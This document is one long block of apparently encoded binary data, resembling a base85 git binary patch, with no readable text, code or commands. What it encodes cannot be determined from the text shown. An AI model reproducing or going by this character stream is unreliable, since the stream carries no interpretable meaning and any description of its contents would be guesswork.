z?(u#y)bLRWW?fH`cCN(#tg~#!tb^>DpP}Y{x7U_!a7B2mlEr79-etU2(f@L@$Ka%J zv!)@Q7M4z$j<#Crbl5b+a_s&njTDyFA&9<;15v0@?ukea4Y{ zpJ*jW?lKa5(v5yHS`&B7mdym$z05IH^(~BhZe%Pgpk-BM`P9}yq<76b1NU^M854>KP0z>txk&zb>pU;z6C|Acv=!O?rqmskEoi9P~;eDj;3 zU+)Ds`-S&x<8hxSf#$%>12yrJk~agxd%XK+#uFCmeLwSIabW$OxV;P994NFa%=6{Q z@Lu^26QW@f2>ulcHV0}#C=MJNtV{3nO6dV0t8D&8W;|%KLP229+rcvcv@(Aft^iMn zsNtUZ(C3n^oH3w>evJ5L3^?1n_vo*OetP|{$AjQs#(*L^(I7{$AJi93*snK#nfnzA zUOT^f2|si0(z9t_qPP{?<_0=|&%$$rqFNspzP-T6I0aiFo#$j2BklR$t_ z`@e9Yan9J*_*aetaux)BErj>DED|dLc=IH%Wt9FfB>Id2{X$^7{4c%>p3CaF?I_0U z7JN|9nsZr=xNQ#deYADjbT{kmvgHrQO$F^fW;19~kY2q4wlXet*_!9Xsr3{5PlX>7 z{TeD>w)xu;c4Xu_Z)HC&MIM7zKJVzu@i!aWUp2oXllQ~shg=_)ubA8jmiu4r;rpNK zZ-R7VRcGwRN-v{7(iYR&y2sHC<=Y3EcdsPA^zTke#y(F3f~eJUxI#MbWK3B5PKspl zU6hPV1S~t3?sV>je$5iO@OAcyLzXH@S?qfvm%Wt}R!eC1xidaeV;tW{QW81onDG!& z17*Lek}=9EfMaU*rD|BgC6i^8XgdBpaAQ`VRs7ufhohhwDlJ`L@Q&v&pL$0{uFlwte##fh)o=-a{zlTd)6l zHt5&<%FJ*$yTBue>k0z>RS4|o>0c&+?DlHEcyIeM_lsuOFQg~Sj0C+jbSGsU=0FV$ zHRTHvmQb_?`>k^ZeJtr*pMHRU{syElPnR5;_3{WIMe3;pgN zQ$EcMLxao!3kVI3#dYSuy3F9tn&CZ^4;pOC{M=twHwp>}vjwbBmP3ZHqR*NrYRR1x z7g1bY`alohS$@uu;)}h=;nC$Emw$m3U5Vqoe5bG{q6{#U%dT)Dj4+l6*7wa`_?j}7 z*}1hJqTzBJx7knfqn>&`+p<<4moNK|XO7o$JS8pnOSvD~vYF@ntZLazoNY78iLixh z)pbU*YUajEe~kC)Dqu&R_W)^I?_PFVIepEoO=jKZ=!`TA^ITkg~;=8nK!$PB%WWw|aTw?0c<)miGW z6g&}9|D%S7d)H6WI+wd5)N$88*>|T25D?7K`1mj z-`@rIO|?N`UZwW0zAz`u4*}A0S*D_{oI-_+$NDU{M?s!hK%&CnhX-8x+*Uk0Ud{y#*Z1GwkuVfX}Kium3Cv z)Ti@571|B>!GQ<%dQ%t;P*+pI5=z5af{?EvP}4uX)TbF>bD%EK2NCnuU+)5gh)|!1 zv8ZoQPz1;ra5jRa@$}EUr@>&4{z8BNp(lH@RIq1RpM=yg?6(9M5BAgOkF8C5B+3ZJjP{h@}fjjXCI#OtvCIo z%mA?We8Y$LrTb}F77h&=Ru`6hTI~Xct4DwK<-gLnf4AAIKgpk|-^%5_iRIkd+vTlU zL4I+ZCj-L_$-IRM5+#w}@k{ekrv8^cCHBol>{KZ*n^xo44lAp68$3 z*Od1axn_WLH`=9o-)?ieQM#X|+fL7IV>+YG<3d}+a%9_+MO_kmf)IbpHjr_*-OFVX z5tB2PPIvChS#)0F*61^fhr{&5&<9z(x< z`5pkWDt&+Y@n1dMGYt+9wxBOW3gj5~X|ot0avxdJ+;8g{1J(~jH|YuLMg|D$2LKUx6_8&AT%Z{6yHK!ZfZh@IUU0n@2>X?# zKl?THnf=)6J>x;o^m_Wob}+-h%=#JynE|pL?C*c`C*ju6ucvgotK8cn@Mcdd&t+gBI>BU{l{_zs&aphiv->1zX=l z2R#M|ZwL(aRr?;~GXseIZe|b=+J>3ig2Q)zAI+m>KQ4dm>{9?}@h4>RjyyH=jS#0$ zC!w~>mY3siseg4jj%CL23Y&UHzXLA$Pj0;3x7p(cb-4m6?@uNDr0*=Bjyv_-_)$Jm z6Ka$r>=Yx9@egLslE#-7Nk^N$=AM|Q+5L_Nm)_U?&YjNvw;QMep3d0V;O02S7$mhC z=ycCjm6azQmvwHv`f`^+s05@DcNuQVjR&nHY}xA|4mJA;pr6!Jo`g0g?8KpxxO6Ct zrCeoWIjLpiqcjrs*>@T}cRgoZ#(=W9tTSdyNs6gNf)kyjXj+-7d^yJ4#a!+zTJpmr zY@Mg<$V8?#jJfg7i+j#2agR2Te(X!QmE$|v=SkMm)Fye3{fKO%I#zw zcf9d$ZT@OD2n|AdENQEE-u)}VA9`5RyTBRxc}X-F6m0f8m+&4y_+&qM$Jb1nJH-8;CSm@DTe*2}2nes`{R&UP$?-v50zMRhta83V;{Wy3VP&6n+ zH29ekfkUHUj{yr5H4pS|uNlvyLII&1Gu#vY`4H?~?*z^yFnhQ%2=%e0n~hy@TB91j z19R}N84nw=-w@$ zWcjK;t8aU2a(A=(;?HyYzXWG#g1jwjX{UP|{2t+sJSCMd^2bBCy&eYjz_&Z{BiiHg z5#h%NJ5{BC^k~{5=k8W+h20j@K&Sn=qtR-&7iQ?yOxwK#j){{c;s66QUw3D51&1$F zlB3CS3At>I+IJf$*S>6<6U~}jmZgoyMZz5Tj!mbS>=<)XaZImQJ*6+D^mdHF=M8ou zA|Ffi#34wBrAWoMK6i1)DWz&yN2;>fJh3Zj8*3GJ-~I{GPa`))c6%jw+wbhi<3hAj zO3zUdy4umlzRa9Oj|HKV#^%%rC^SQK-Y?!t$WXhzV>8IN1)<>etAGdav;^{b;#X#RCoucJmi>u`ZTx=V z_2S>W1XxQtng9#uO7;$K*v}dd{qho^KlJbn(6c@pi~Y1U>_dDgwBxcU&a%dUhCQ7D zKcBS<>Gf(;pY`Xvk2CJ`^sgxHXf6(%?cfD|hC{y`DEzZfs|9#92{hwnHVE(Svt9-4 zsbEh6jeNWTXs$yq_N(1t^ImB(1I*m7-v;z-u!eYAm1Xb`8uVG3qC5Q>j0vz14x#3O z){E|B!@GhR4A!NmeEd~7WKRO?_hHO|LB5iGNLjpB@B3M}A<%kg&?p!(tbyJr^GQgL z1lJcL2L%h>m>e<*WEd!o=nj^9ya%Z9ps7zIK5gm3gbMi%g@W|8|$8-=!P2nfqF|NbG%9-y9o+ z(x@9spZIQzD3iLEVm2Ligb9VEb4|2_YU9%D@Fhvn$SfT>B`HE1ADg8t7u^og+V?z= zTJ5C7!B}T6U1gNJbH%b9vB|l;C{>m=yIdTH6k2VUihxq*xhYm%xnert$<=ixopTXW zHodyNh^(Zfzy@RImA*?VSw|PFfO9!Etokxxsg^i);UVN~J)x+OGr6K!cUt;#q$J5J zEXBm26OH8<$DPW%TE$r|@)EP@?6ASMC{I1I5&mK9!Jsto-oV~{nU?_b`_B~t>Z`M} zcrUmaPfKRPJpgCgfHIHpl@b?fMTC}0GMH5A>X0C$OUqRd>lc({&5&z_At=fy90Y#@_bJO zcpz|we)ZQtJnqX9d%ivQ^PX>o%0{r?1}u0BANHjI56s&m!Tb>PKwS%hI{jIY83sn+ zeLwv*klOjpM(~sUwB%m`EUuf8V4PSXG|N3&n_8vS`Gf|w0HTA+7`|&F= zWhVUdObz~9PPNy7IrI7zphZPmVK6{ zeUA+S(PnjoF&oV-Oym)s4D)LQyteO_hk2y@HO^Q{cv&W<^&j!MqxO0myfynCXBFY6 z%g@4yGcF&Ozt=pK|4{rR^7F~G*S?)CKix?;N&Sn^YFixYPyritS=1<<#b*U{mXp_6qIXz%+3eAF>oNy1ZI)8qcH_lO&8kC984r5`CL@-1 zoEplJGA05`yZ*6}a=9zGZ&pg;Ol=6gN($`bMKNtJr4N-s77L|BBcYF2uI$p-YbuNl zRoQV$9plv8dCMS2C#sCna7kfQWu*d+<@i!Y=@Hsqp|-INb_A_&VWgwkDD zqg4b~%cWLH-8S-aNeXDCya?hmQ$8?H6bIL7$O{N)uvbD&sJ_^0!b-Vk8F5GV-ra1Wcg3<}OL zP@}()o|k49_$_!C=)GOxUwO^M?`#JP|8x}TaTXt%8#V4T6AA)_g3W{>!;Aqv@iPR< zfGMArn)IY;8f4aYE_03v8or+r}?i}$i>@C*J~3EE{m$o?<92OMg+ z=h@&OpErLC6wP~_1$$>ms3q}RAW&1mx;)^wk!gY?98)oOhy2t>Bo#zN!Y zZo!u6(K_$J&YyL5viy}^PyB89_T60ZY5(aWcKv1cwQk`VbC#CywDAL>?7f7%HL{sF zx4g}c{5F2y#kQ%K4tpY4b6vLmrNr^)GY^n^%(>z?)Q@r6;OX^4mPee&rDlL`bJHBt z@91>yr0J(^Mz5qBsv)i}sU^B(Dce2)(fBMI1l!Pp$E*S-c=vH>M(z}NVNBkVrygmD zVfS5>oO_wnJ2Ii#i`ruEq;p5P7b0DBt500d^yX@N_ci}Rk z?A2K!PQ2`>r8(LcjqaKy=PG%Zp;aFU6*B@#r&bx1ms?|RH)zKgP+rAv8VOo2dvl65i9Qy%_GHKVO0@-V+vP%IA5Y=?(%kG5U947V_D6W`Gfj--L@E z=(WJ5VNaXF3j#F^1Q7*+B{Ksw`&r|WVE7Oq%nWeAPvpj6P}97A*-!F7;0P$|vL|~p z_Y)05ea(Iz{hck~!9NN49GDM4m;~y~&aZ{D)NcU7exg1OkM&?bMtng*P5&+w>^)!8 zoj8!gd%(CjA^g!C*h0AwS$%nIasl>s35S9(LB z(QW}D13)H$vMHR?8R|o*iJvc_IL-a)(_p58j)s1nK|#0<mQXBVW;AwtX7{b14YaVf<@WwC2E}CxMyo2?7@Z3ijNK1%ACW zno**8@>2UwkT#oc-dyn)+x=xmkk1HfscPW3AZiMD2zRtNI>Mx$o07)%m*zGeueb20 zUNN{!nxrLQpmW=7`JFMEHvWqSDPupVuL#GC)ySL$rNd)yNtvWfxjjw}}rwZcXMYlt?9w7Oha)fs&YiRMtU_v)3x zEn8mY(n+zLOWC(CW^-ABWUmsop4?{a;*Z!AU4El_mu6++;ZKBYfdz7$LCbb<3eNOxeFXm zM#@{hTIzr@E}3XP?>MYtT<3T>om@CdPl_oRp=(ooj@HY*-5=Sh!~xIf&$L$A*%U6{ zhB}2Ue$&!9zwr;=3;qFtgMzvASWhzV0rq8S!h2}?Tp*{V#fQxLN~0ye?8k)A;Kv3r zKzK%fEE)d_`2>OeX)sLavtJafnV!agdp2ms>yco1kCy`*|7rlpp9S$?(DsJF=N7QW zeLe(uP~YQ>z7err2rQyA4f=Z!4gE}jdfyNBt4j-><}u=n&3yf_w}X*qNmIT#wE62T z;NJGtFt87>u;EaEcaQ!`6Y#UX&<=x!z!?LU*~k$@fIZx^y#{?EL$-PYei`?f0J8+_ zc`taOpfS%&!ouRcyc5Xhz+%NU1~lxI%^^U*?dX6q8T5(ze4H_0@K2wCgbAfF(LGR55ZFX_$^J{hP*dq2)Thhca68D+ zPiLP_z1s1U0FO=c%(&lu{K=Lvn?`S8M|-+&fceT*zH*;{xBWwZ5-s~gcn4Xv9mhxf zzk9j3=<`lbqE+F!i&avd?ytOhq{3u$?@%Wj2ZRzkJHxNKj`YPGC(sN?8>tmf=c1e6(<<46Hh+ZZ^7 zysS|r%SN@a)b1yj^>M^&JMQ>xNhsnISac#*p(b|%X3Erzb(ur29JL7S&J_S(f$}X>dEL&Fa zRe5Z1=LWkBd0DTU+Cqn=PAxeX0>(RRZe)jb4P`%O&Lx&hZ3@_EC+f3a_9nn^T`9{3 zO;xy;&=-}Jz`0iY(jSJ1)|%xYI-m~uv4pXeLx3gdSYyCw(C0kEz~JB56#kXmL%))t zKJi}25RJ|vKyL*1UT_9|B0VO4KIe~slx!5tswROw_hSj_J7h9E=xD_IWc5Z2Z$@$Z(KvP_P8!AEUy| z`W`g+FZVA2zL8HKgBbt#^h2;G2n+{mD(Jrumti2gz)}{xH316bjEJz`5TFE2`La7K z{41HUp3WQpko|ICF`fs2ZJ;!+T?#s8$Z@w#g9G9lT{uFIzJe2k3pZ}jU zRpedgRnOl{TKD+A&5wYe8DC0;dMF>4F7KGJy3eorpXGf8Tm`3{sjvA^f229~B@Iqz zT59)Ax4(8r=_ZRk?R9m=#8(y@*V3`HjDGb^8#w9qnr0pMi9_T*?*in$^}ZJhV5y9C z*d{{Tq|SaU3X7Rz>au;$9pSqyC%EphR`DG(2SG1Oa!q`vyRwk9-BrUF6N(^n?$rdh zUg_*u#YDf%PQY4q0Wz~dC8?)N&5|P!SuwF6_o>aHSfvJ~>uQhS!k+24S@PNi-!jWF zHMBeWDV~6H$-PJEAhksCvf)7Q)VZ&|1=Y`COON}k(WQyb=j;y4tCU{q(VsLRqBZgA z--XVnzT&`ULIiyqB8~r2aCU?j@_F@tD_X-*f{$Ujx$X;B>R&N=H z`uqmqA;4?|i~3|K*lWu$q2bW_8wE8OG~i_t*fM_`F0dB@?3teSg3HTi@UM4=Lx3~- z+d?6q|3X}2p$Sm0{LOfs?{(0yJ8S2G9W1)F(-u)Z=V=vf~K)wm05_n6p___j|dl`akY^R;Q8?X6YsT7UykDz`qdoQT8Lt?760o#3IqRhD)Ypss41QN9`n&<}! zX0@xDTxBWaIqX7AEp;ve#&W`XRc7Um%u*ZhG|p1z(i5oTt_o!`Rx}@F6XU*Av^vl` zuR?W3icvkwF$QGsI6DIN6M3Q?$Br*er&eK;hM zccQUR85CywiH7fa6jV-m9a*d6H6>Bc+(PS5s8v;pB)HCnaDFn6MAlQb2vB)@;gMsHvbPfinj5FtAp|eh2)@pe~m(+rBdu6bFj>^!GtT zfa}G-CP3+n=m0;Tdn#zmD~*5iIh(&d1FTCO1%CPrMB_oe1=b`G4G`!bfjJ{VJ`JuV zHheP%^l!hQsdN2B;QzyaD@0IdEG(h0a8OW!0k3`pCW3z#x?xZF*9SYl9_tD7bXl0E zvo8&P0ABGP>{pk$XOUS9Ld7b4LZ>H>jAyV?9LT7&n%xqI`MAC1W{aFEY{*Ymx82{0gM z2sF;wU@ieUcha#$7}Aq41nBlH8ssR)XBYk}46toV-j^%#Wcf5WtGGDGFSPKqFE8@m z*`IfGuYLsSf_IV6AY(I0x2EM?{5;jS@LLUc{PF$K<*(me7fGlcdCPhTpD~y6vY&#N zL8^Ue;yC&iUIDwOyU$i5JDt}}jmxyW-R4-Gt~w3Wap;@lMOZGUzbmqPv07y3O1h3V z`gjq%jBOBi8s7J6Kql86Z&fi=Vf0vq|x=&$rrisc3fb!m-xPsqohPZPq(g2Tmx-Wq1a z*SvR-FR%O+&KdK{pk{iS1opSUVnQZ<520WD%c}9OWHx_$2DqkwJ@G4p#y_nZ`2=AN&MxJ6 z#(j+q9KiPCZ_ct z@rlr0Z-cjH*D$LHKV6>kcEOg%g|OG@3yUmFRi4QZ;nJlF8LIpS!Txb|<^+?aoq^W9)!a?YK|?xwPsa zL{OdBtr@E@`d?`7_%;hwjKBjf`R%sdR_0}$;9YX-=9Fb_Bs z;05_I4E*E2|8s1b06io$_|^2!N>BeX5A1Q@=D2#ev0d8xEWO7WFj{ zn)JkS2t6Ux0MPFN=Br-K1AF4%suJo7xTH3BwS z8Vmaup?w*s69>vmXg4yKbskGE(RRTzfT6a##bz+sFAfKT6N z-WO5Gpd;*(khf-AKICn70e>h}@qaydfR|0>b?Phl4$=lsuWhsB zN1Vsy6=ZoGz`LJA#-U635pb>E@k0gbbZ$@SfbNFseYCK-?7miJIq0)v>7J|Z$>9!5 zOlgSY^SG-QcPB-T86|D6G|jE@I9HIM!X zM6-M1bTRRoC6|ZIId@6XRKa%{O4PSAMM^;F%DGhi6hq7|19zQAZ$ahx;9lx{X~^sN z3de9!&-RDbx`Kuta;kyFXKu`7P_hDRyFwfv;dj;>{>}^#6l9-QV?bfyi~X7a-*Z3MZ~jEc7-;loAgrC-vdNUsvq5hM_uS8WzB3ps zu4`Ea#e3cee$D`!4CjTwu;Lj27VOOo5Sba^y#B|k&!FJfIeWg%fdzzT7udr<6QGpV z_uQ|LZ+!-0y5s9$TP_0BQnMmtIOmHAK|wo0gA4!ICKmW*UzlOwWe1NDy9o?VYa_C4}*#P68_XH26st9j@DqH^VYO{!^wJ# zf79Sm=PqEUIA+A(Jo$UZA664^#X&QP1}`7_&kDEBHLab5nO=&AwEGHby^}B}ncv$R2wqQaVr%(W9G4PCwu^%A!p2Jx0)ghbGAlx> zEQUa@I*XC-Fy1gB`a(5nbi@V?IL8w5)@#ZK{tXR!^fv>*xY(>2FFz7kj?yedWY$+o zn6NLyc+3X9>MumjcOtU)i+|@V((|a$zX0PG0y7Wv3=nyZ0sShV_z(!xWiw%a`r&l#=ip-nHT@i^moBMBs2>CV}2FzKmLV94QSVx#~Xk$0Nd*G z5X)jhY>L*#rDV`f^yWxJfarqt0Rtdbr#__r_rHC>GEmi9NjZ1ut2f9aTXK(#hE z$9Ffy7pzk=>rI(bK z_$}nJqa_Hd1nj%psVOEkl)=iIs`@Tu*#;51JeE>Y7f_)nNrEjC90Povj%e7EbmGUc zQm;dn?f#Qo5mJ>MV~@gNUGrR}X9>P3>UzU2% z2maOBhhF@PhG|}y5IwwSK4d$%|2CZ1Ph95%4*VZX`3!p?pI84V@`CHU0aK+7#|V zU&%tmW<24a2YuJstNs9_eCr3ILB0V$&HC8+W!qOfxrKcF?w=-seoN42P>`)&>1S)W zuuYem2MXRCL7-@O6X3Owu^vzt{eKw)!CsB^%z>gZU7m5DH0RQQ2MWRiBg@RJSlk8U zowJvI=7-hd-#mcktyjBWFc5>KDTBAyTeE}wZG>2r{|(1F8xPJHfb>uo>oiqLnFP#Dj-R}dM z@4%FSE_o*q0tEl+oTZ)$HpnsSV^vtFdy;eiKIebr}DIaHTZtg#gh@ z6FpyxWDA(R;IN;u5KtWUGZ6LwF#Ey+zkkv&um^n^1A>Ts77z;j&R4*Yq4Dn@|1PfM zfB?^B0iI@ndNa_1=6iGKOW|Oi2Yp`BD}u#%oO>5I+c1N348hn2b$;x|9ax5-CmCed(h`gq22r*VDJC3!wdCg`qw}x(mS%j&nPGe ztjV6?Fs}<{?$&5~?gc^z2|wA~c}nWZ+EfEcG>JC=RQ?y6Lq zNe-h0<0gqxO#s2xM#=vD$ zLrUUa>bwf(;ha*vguRxWbnGXZ1mZX*m5g$P+!w~SOttM*mN~fVu|eRL`+>-}^z$4> zuwFG!wXIR`Qu>%xRf}a8MpdVn(km(3zU_{&95d_dF(5=I`}Q*aG5wqQ-h&Ab`{54t zAs5JPWmBJrfol?2dX4zRihcH~+3yd&0?sZlpqM!!)51Cj{7Ntl>fFcDXsZ`E6zt7B z&{IB`Lw%n3aak-^)EDsUNnkdD0Y9Dn8_@-U`DK`(;PqpG z-rF_rnE;3V42SFpFW&Q4Att>bU+n_>Gmx?ItZ(Llg@wEg7>(eNJzqG`)OR@0BSFS} zKA%s3Gx5tV@E!(g2Ds;b+V6-V zdp{iv`hA&T*}LS9>_9C0>I9Wk)8dmaL?nqg+oc?l}5PoK)KZiJF)d-Y8NsdkdI(pn$M24=l8xSN;kS zVZSx;i^h6rurx0$WPA7Mi}bV$97}_rneY%G?*VeoMzD8>ujyaS@iNM51K z;N8)1iQ|hFwtmZ3ZgQ;_a)?@_MFTWL=AKZ}-I_`&SN zdE9&1|KO5Z?JZO-P+R8y6c_(+s%qHV*T$ev1UGxZZ^3X>kkNjH~7 z+h=SXnfQ~1!U&bBWNiFX0Z?2XyK81lR~qmC!gwmi`aJ;DU0~d^L0|eWgS2rmp_Idf z4S}Bf4FMt)#gzaeA}=7k@b5YFYZ`0_?B9C<3k`T?Jdh7K99c6xL7xe-YOK zga*If7j7D4hnL-9|2p)%9N51AlW%_iQLq2WIAmD7*RqI??}C9qosD@Tup`_r1VVky zdj|p=1vlvdemZ+~FGc39zfhmIeHr>$WA-!S%_Pv9yrnO?<5fTn{WJ{Jh%YY(UIb|B zv)9ZCO@?5hwv0`N8UX5rK&F2l1L`k;zB*DTlo$`4Y8bJM(9#Wblv7&ddY+>`*#h0J;=5^ zao)9AGZ~N9wru&tnVNekj*rVWyBx8(Eo1Ory3Hy}N*(cMD(YVLaP5i3CmSaCDCgT`iOPyL-$XJ>d zaCw$WA_^GeQjW#~Wh++~hD`Q4=hCaQg#OfQvtvo*PI}7g?5d$w`@n#hl#$gb389O@ zaU#fZ%Hu{z-DPCe*>n5z7)zjx9l@F@oA{INWG4v5eMcu6Ve8yxigRD4nD*u0Lh-rZ zE;5cb<6g#qVu+Ko?yyUHxttB((iGr%^w%!| zT4QAo0HrbVvDI6be(Mi1ERYKviVU?)+{h>J(|nKj27BBG-8KF(12hND46wI-hYSOF zH3?)3cwr$+Yuv}nfqu=8ai3oK>n&hU{B+sx0T%KV`}Op%g&qug3mEDv2rOZ3`{rYi zuwMp)gM7xkGX{kHfIzWYZ(3`*B3!X7xIItMcn8&5| ziwpCt^xpCLDg?ckdM{X(k^K^&FAM4b#hC#X(TN7(!zQ{99|d!0NGQO=pw9-v#yogW5a>Vmh7Gg6k`WAn`zK<& zSZYUcafnx?>8CV{rZ5xt*42zTIXYS%i)1(^j|@+*%2Oua4r2D;o-GYzsc}z z9LUS=`y)mAmcB2VQJ!AW*y)-lB zxbI7PV*VQ0Rk?N2>3pV%t7%p*b7ypGyE|-K(pBByLRsp7?uikwq%DqD3Acs_6-@$1 z%h6EJT1x!RCEt-(kmyNggHv-yn>!_DB6o#^r7DV%#=f$g$Q|t{OVf9uq_|i^9Obpm z2+=>haM=-%>s(8%CszWtvM$Tugl)&sC^bPad&Q)3#pzJW=r{^8zO6(P`@Ut}yImr5 zNrWP@3?_&jF-|DlN!OK-OXoX2cO<3tDcHVR^1a|Cd1=ZX4T9WPWW~X^m86(+3&2=M zCVqTtDb-3STJwmHv0*N^#+cVoXSCDmU>+jZt4>j2n_yKt0LzA90{%Y7?3X2A>8Q?%&2?K!{1BL+e%P{$?aQfDx zj_e4-d*vG@^lA}ZUGkHF$h!0~0wX?@l9}}t>FHnw=>6YZ&Lpszu;+ee#d`*rrP>r0 z4Kn>>NO)#|><$kHt}S3NuYU}%M}MZiCcqjGdgu2rA=|qi?gJ`B+`&l|xW>zNfj z-?Kr#E6AXap&!g9{4?nh&~h{let@EAkcl6H=6*i*7!YNFoNP>beihIVSWUKxE~KY` z&4dQR2fZ)@{J;P6zn1+_;w4PGPy60xyOo!`FSps2Z3BC7{weSOH+rgid?fN$>U`Cl zdRG0VdEUt1jl8ntY1|R^BiizxKb*VHUHn6Shus?Fx8_;El-~{(%YAr__1r zm9)0*bf;UDp5|y_+M;|}Qaf{NTM;H^x~dJ-CEF{#+g(^Pc`@_l#8>uO?WJ9Sf;(m+ zW3x0e=*Uz{0i#bD6W;;LMaSGuUykOnIu)iiM>~-_j@*6VUS}0k$G!`U`;1GSb#xh% zMG>r@umrp!w~az^Q*W1v-{l=kYjioK-U3xAFTNd$%joUGT@Y%b>C!Ifbvv#zLd%#X zg>xxF=b8vI=t^canq`lfym+KMmPc5JN-^v96>Wt&Wl)S_7Lw(0NthzNQ|whw3uR-= zxRksOP*4yE@_FgJ7Ff#YhX9NEbady;=R^y2kJ!fkR#T?}KRDSF19pS)X@-z4Kdu z*V8|33frvCwaM!hX;e&;kD8bn0cTFgZk~4;XRG` z_!1<1C=L`cmLAwUul$vUf!^Nm?GfLBz_AhLg$B<&&_w4;J_dPw5|WQWnC9t^!FjA_ z4lKFB&t#a%UIu{L@D;rE*S>Nz%e@6No;GS{9=IS-@HV6ud7uv1oAU_5!tDIQa-utT zWQcJf5K7#a7yGr>Q>lhtjlO$5{r#ik-v*fd$@zh5Z&cWt2CzpZj}#w;-9gI!VWZ2h z;vZ%t(rEF^_@OM{aUWr9&MHq}2i)?j^6O^5EYIZAt4jSadt5$JjMqcYCB8et(wy70 z@xDCr_C1fN`_yW7^sL?H)GpPe0wG+M!D+jerEzDBy}cx}>OL4>E0tnaCz`!z&9$ne zcTAS*9QS1(uTD1xqbIvAmlrk2*asPtlu)iALF^by;>>C;@Ah7p##ev8zXyRuGEN0t4807;IHSRlmzF|WD z7+~Zc7{Y`;Ys#11-V*fnho*d`nYaF=k+P{zg7$?WJ)eVr1A#+*wOZ__^Kc-fXMHUR z{6IkqpdbWT=N|oS4%`IDyMOuZm!1TA|CgbkcZ$6uJYRxnpceu>Uk9`2JET{a{vM=v zgfjpU zUj_6SP_it|fxWTY)52mo^WOY@kg($XJm4Aw&M?r#2=DpaTfibi$nB=YYqD2MLw({s z&jvZi*PJ6WCV@WJWs_x;$bgILZn>mTjgd zQ^(whWtny4tlD5KWq-Rw;}n>w+KyAg_#)3z>5(hK2oqmk?W@(>rZjS&+8j!8Y=)z3 zwpRx^VOj0l!F_xu#mT;c%d9T_G$v6gW$Z+fF|ekL6S-X|KEAe0@yNvC2@s*r+!VPS zGhYNdV{x6I%-nmTN$*_#y=ag7{4I$;1ZMij2P4p6@DG5jbEwY~KPioN5sZk!Karkr zF*5iE={4^O=k&LL1ABtQMmsNM^oPNQy=XN3+lL{LR{=8&)Ns#x!8iMf4;T1>f&#pJ z^fA1LkkKFPcc1;@pSFM*1Bwql1{@#^&YgW>L7;(91c=;Qz#ahlJCQ;=ITrYNJ6LC4 z2(+)Zdh4yf*9=hl9{S}+q1UX>pM>OdkFy>8V!wP3atN@$5HZ(5hJ%8h_?ZK1wYV+= zK!$#G?!ln&Pb0oE&=EN_n4zCO5C#H$Uf>t}+fzROGE4(uzxB6ngN;*hX%!jj071E&Sl;e3;`PRdhX|Go^a7W z6U|bSp6o++!oQ%Mgpt8K1repde&ISVHM*$t%I2e4FXh|7VgJPI5%V47VK7v%Ew?QD zL5Nje;@nGA_;hbCR!;%;m9mBJn0Jcf?yx`QDl;t=p)L0@W=Wye>W^~QPs|CDN_GS+ zm*yBRWgK6|mwqLce%ujEo)!GWxBcUCypH87j+2HT=$`6UbjIm=)4$yN)V8+4k{|ul z?e8>M`kh+d<8U9Gn2%NT$G3}-o(9@gQFbhe$x^jx8*_tHHAo;YV*0GrwpXZD;-v@_ zk6;7Lq~~(iV>1F0YRicUMRW}@n95o0OG+)r9L|WGYMoJL6vHKVoE_1&W>6mllvRoQctN4x(jV^0UCot0&AM*0Iz?u_Ed0ql!6*DizU~C*jE@r>t zI?-J&59R@TH}YY*&tM*8D9rOwmpAg|jllxEu_@|f%6D!1%0K|g^zXkK?La<_0W}O1 zBKlho*=XpeF`$n?AWDExpjZRIm{}J7L47^$djetqI&|32_9jCCUWEK4AbY-N5*PyX zh|jDj@T=Wkz>lGyIgqX4brusA@8w*xKJae{@ND=t6Gj6Q>Z~^dHR$u}f7u0IW5C%3 z-aih*cyI{NbHCmT_88C{SZJq1KNV;!4E2TmM24cl;=Q3kkNZk*8oW`kKMxV_>AR2l zgCPA;u)$BW!KOYj-tU)T!aWA`^sm0%@Bok@VRnIK>@i@E{`wn{|Y>iV;zsO11PlYDRWI<#GfnnRFx6szPB* zF6{f92qbbP(sW5vq=K{y^^h@^EVYe{A3<0m%Z^iKzEqthAlqFLMmbA1n5RMZq_c4} zwtwg;iLyB>e&jd^EZSjbn0=&qF455Huo4Fq`f*@cBtR$rFhAA?wcqon`aNAbX$ zOj>hy`LEz@sk~brM!J<(dA}@iBV#bagnbyS8$UHKujDPwTe*DyMtQ{fipIalDdR81 z-($wBhJBmPHDO1P{Vror6C^kC zh637B_T%Cu;!D|jvgBslQI$9g5oFU#2-qu{L+L!Jar8L`c0a}rK5@vU8=<5}z)9V? zl&EBatjOm^?g)gPRmw>Ae+)FeX17b5!r|cW{nDw2BpD{0&COy$0 zEVq_=tM^R*^g}V%FGYKMSB@q(?1e*Oy8Pd~Ka37+(rIA@CeoO)lfyHlD_V>SHyz7Sn&j8T-yqW~wN0A;7$l24s zqP`mO`OpkdGlpx*qF!)z|sNLa={xSpX%O*X)`!_EH z3KWBOM!tL}VyGKEjHfSx4StWG0qie=GuadP?Qeu3I#XYk{C&sT3pN235X#2mI}AdD zLOvbd3$_6eSbXT;ijhn9f)NVpB;?0oite=PU0{^bnEeca;XqLhOjw;1*PQZFf zE9RdUImQ!kgo!+wPhldAV6#&OUia#GIFFc^)%pEECc+5*FLD08?nI?m4a@i>UBMsj z*CoDvo+S%`kaWpvRnyT{Bcn^If9=&aPG9q?;<(MJ(;?VJ^0udAI>iZYd%WsgmFVao z5jrgWcY3kxNihZ;EkT@7UaKBbt1x>dNXcW|dc3%)1nfi#GBL-#SIHO`ZinD=U-vd_%tafDGti#5@!I8;} zy$W!t<6c6R5HJ`eVf%cAq7p~rz6dpsi$r7`N7*>qxM&Hbh0+rtj(vk%W=Zzi+m&(2 zEkvVt`Os@4*zv`IE3bxrPAY>T!w988xrGp5ZT_AQKzgi~K_B>s66)iHz`?)9NPw`v z0@i$Qe=yR>XT1n;gfs3F`w98rK=yn^gWzBBn<22EPBy;Os^@+UfklIVPyx0+L2t3n2(_oMOc;zqOiJ1C;z@T9BUiO8(1#D3C zo^O$!d9U9C6#GT4pMvqre!2_|8vjrh#aYlfjOX#7WDWZAH-fW-vY_rB`kCeO%AdU= z5Bn9cl?`VZn*;L_V9<_t0=4<;FM@-AnFCv04|$@EfPpR@?Flm`jZftx za@-$~(_zb)jE}r02=_Afbvc@M%&nnpG^U+*inr$E-JxzdUR}oZ5L&4?Q@|)kn1Hut z*Hbb_N?O2%W*cvttDb(mF>qB^SSpz^M);w^6GsN_aqe_#UhZFNaC4w>Yg5bfq5jpH z^s;uG4v65^w!(G_g_;QMd$MC@eUiFq(o8u|e0dRSyzCggZ%qcSSxN+M1k1jiED`5c za=#Dv36;C<6fvGe6z?MC;(L$a%RCL2lv2mc#ZbJ?_;!UdMjoMTS~H<2d+tu<5o!W< z*!WV3&oZ|C&ZU5@oQFUb>`RIMBq|rzCe5l)mR=$tHzVj1O|gGGY{0D?`#u`28RHJ 